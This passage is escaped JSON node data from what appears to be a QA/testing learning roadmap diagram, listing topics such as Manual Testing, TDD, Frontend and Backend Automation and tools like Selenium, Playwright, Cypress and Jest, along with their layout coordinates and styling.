 \"x\": -476.58230823147517,\n        \"y\": 354.2822726577531\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k3xPwDzA1WUEAwJ6-Q8PW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -476.58230823147517,\n        \"y\": 407.2822726577531\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scrum\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -476.58230823147517,\n        \"y\": 407.2822726577531\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4SLrNPD_No05CKeAVDFn5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -476.58230823147517,\n        \"y\": 460.2822726577531\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"XP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Tdj051ANlwwpo03X1hjbF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 69,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 69,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -476.58230823147517,\n        \"y\": 460.2822726577531\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 69,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Tdj051ANlwwpo03X1hjbF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -402.58230823147517,\n        \"y\": 460.2822726577531\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SAFe\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -402.58230823147517,\n        \"y\": 460.2822726577531\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"daUEq4xlh4PIltSdiD4F2\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -187.60787795478728,\n        \"y\": 599.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Manual Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MArAzeZDZlQ1z7Cd7XmsW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -187.60787795478728,\n        \"y\": 599.2101491462215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M78baCVYpsk7C6j-VPvPZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -195.74744704168165,\n        \"y\": 485.7004199847787\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"TDD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -195.74744704168165,\n        \"y\": 485.7004199847787\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2U8WRKkuF-YCEWtpgTspF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.0823082314752,\n        \"y\": 704.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Test Planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -514.0823082314752,\n        \"y\": 704.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ELnCFVRkO_s5qI_3Yzf5U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.0823082314752,\n        \"y\": 545.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Test Cases and Scenarios\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.0823082314752,\n        \"y\": 545.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RD0vRC-OL2ReYLT1leJMs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.0823082314752,\n        \"y\": 598.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Compatibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.0823082314752,\n        \"y\": 598.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vP76hqx-8Pri7sxdJDGV5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.0823082314752,\n        \"y\": 651.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Verification and Validation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.0823082314752,\n        \"y\": 651.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pYkfl-4gMHRj9wIeH8RTP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.41769176852483,\n        \"y\": 974.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HTML, CSS, JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 57.41769176852483,\n        \"y\": 974.2101491462215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cHI05cf8fLh3XB1Bt6jNP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.41769176852483,\n        \"y\": 921.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Browser / Dev Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 238\n      },\n      \"positionAbsolute\": {\n        \"x\": 57.41769176852483,\n        \"y\": 921.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jn02FD5hjhZFVWaJjjNN3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.41769176852483,\n        \"y\": 1027.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ajax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 57.41769176852483,\n        \"y\": 1027.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qvlA7iIOvoWMXm5MCAysZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 165.41769176852483,\n        \"y\": 1027.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 130,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 165.41769176852483,\n        \"y\": 1027.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_2IwBNhB5SqbPRxGhZyhq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.41769176852483,\n        \"y\": 1080.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SWAs, PWAs, JAMStack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 238\n      },\n      \"positionAbsolute\": {\n        \"x\": 57.41769176852483,\n        \"y\": 1080.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-2RU50LUPwCQ8XRaMslY-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.41769176852483,\n        \"y\": 1133.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CSR vs SSR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 238\n      },\n      \"positionAbsolute\": {\n        \"x\": 57.41769176852483,\n        \"y\": 1133.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6cGPxfJ9ipij40hnmckxV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.41769176852483,\n        \"y\": 1186.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Responsive vs Adaptive\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 238\n      },\n      \"positionAbsolute\": {\n        \"x\": 57.41769176852483,\n        \"y\": 1186.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_3HfVT8IDlcgvUM4h6A0_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 56.41769176852483,\n        \"y\": 1303.7101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Selenium IDE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 158,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 158,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 56.41769176852483,\n        \"y\": 1303.7101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mX7bNNP7WjFdlsRK6qIgy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 217.41769176852483,\n        \"y\": 1303.7101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ghost Inspector\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 217.41769176852483,\n        \"y\": 1303.7101491462215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wUq-qEIh-tazYhgQQUqGG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 393.41769176852483,\n        \"y\": 1303.7101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Bug Magnet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 393.41769176852483,\n        \"y\": 1303.7101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cFhOYHgq1_MUSXjDI_fFN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 308.91769176852483,\n        \"y\": 917.1101491462218\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Webdriver.io\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 308.91769176852483,\n        \"y\": 917.1101491462218\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CHqfXjRRdS_c6XMnfVVx-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 308.91769176852483,\n        \"y\": 970.1101491462218\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Playwright\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 308.91769176852483,\n        \"y\": 970.1101491462218\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"414xO4PX9rU0f39aC7awu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 308.91769176852483,\n        \"y\": 1023.1101491462218\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"QA Wolf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 308.91769176852483,\n        \"y\": 1023.1101491462218\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iQ7xwiA6xmbLyRIkI7tXM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 427.41769176852483,\n        \"y\": 1076.1101491462218\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cypress\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 427.41769176852483,\n        \"y\": 1076.1101491462218\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"HP55XWH18THmCNjCq-gBl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 427.41769176852483,\n        \"y\": 970.1101491462218\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Jasmine\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 427.41769176852483,\n        \"y\": 970.1101491462218\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ta1leBdu-Y9LryB-0U-CT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 427.41769176852483,\n        \"y\": 1130.1101491462218\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Nightwatch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 427.41769176852483,\n        \"y\": 1130.1101491462218\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nf76o_NYm0-pSIVBFm7IH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 427.41769176852483,\n        \"y\": 1023.1101491462218\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Robot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 427.41769176852483,\n        \"y\": 1023.1101491462218\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s3HMrqNEVogftCIOZYO61\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 308.91769176852483,\n        \"y\": 1076.1101491462218\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Selenium\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 308.91769176852483,\n        \"y\": 1076.1101491462218\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZeJSeYs8fkZLQ-Pc3TqEM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 308.91769176852483,\n        \"y\": 1129.1101491462218\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Jest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 308.91769176852483,\n        \"y\": 1129.1101491462218\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YKHlLKIlL-Y4ZtHTLfApu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 309.41769176852483,\n        \"y\": 1183.1101491462218\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Puppeteer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 309.41769176852483,\n        \"y\": 1183.1101491462218\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gxn-m-4pDAD2J6406pbs8\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -210.60787795478728,\n        \"y\": 775.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Automated Testing\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"I3uPnYK5vO5YELICtDsmu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 67,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 67\n      },\n      \"positionAbsolute\": {\n        \"x\": -210.60787795478728,\n        \"y\": 775.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"hU5OCnEe3tG206xuGsVFd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 111.90951598106369,\n        \"y\": 785.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Frontend Automation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mPaMQ5h8ZcXKOfcuSwB2-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 111.90951598106369,\n        \"y\": 785.2101491462215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gYBdmaY94CHUADhn25QE-\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 96.41769176852483,\n        \"y\": 875.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic Introduction\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"PVWEnS6OECuqgCU8dmNV_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 96.41769176852483,\n        \"y\": 875.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"pbzOVldT99zH78Mrmrzeq\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 195.91769176852483,\n        \"y\": 1259.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Browser Addons\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 202,\n        \"height\": 36\n      },\n      \"positionAbsolute\": {\n        \"x\": 195.91769176852483,\n        \"y\": 1259.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"PVWEnS6OECuqgCU8dmNV_\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 323.91769176852483,\n        \"y\": 875.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Automation Frameworks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 323.91769176852483,\n        \"y\": 875.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"mPaMQ5h8ZcXKOfcuSwB2-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -503.08230823147517,\n        \"y\": 785.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Backend Automation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SlUBbzLALC0FpwST6GeI4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.08230823147517,\n        \"y\": 785.2101491462215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5cMhZ-7YMQ6ccs-AaIi-0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -495.08230823147517,\n        \"y\": 895.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cypress\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -495.08230823147517,\n        \"y\": 895.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 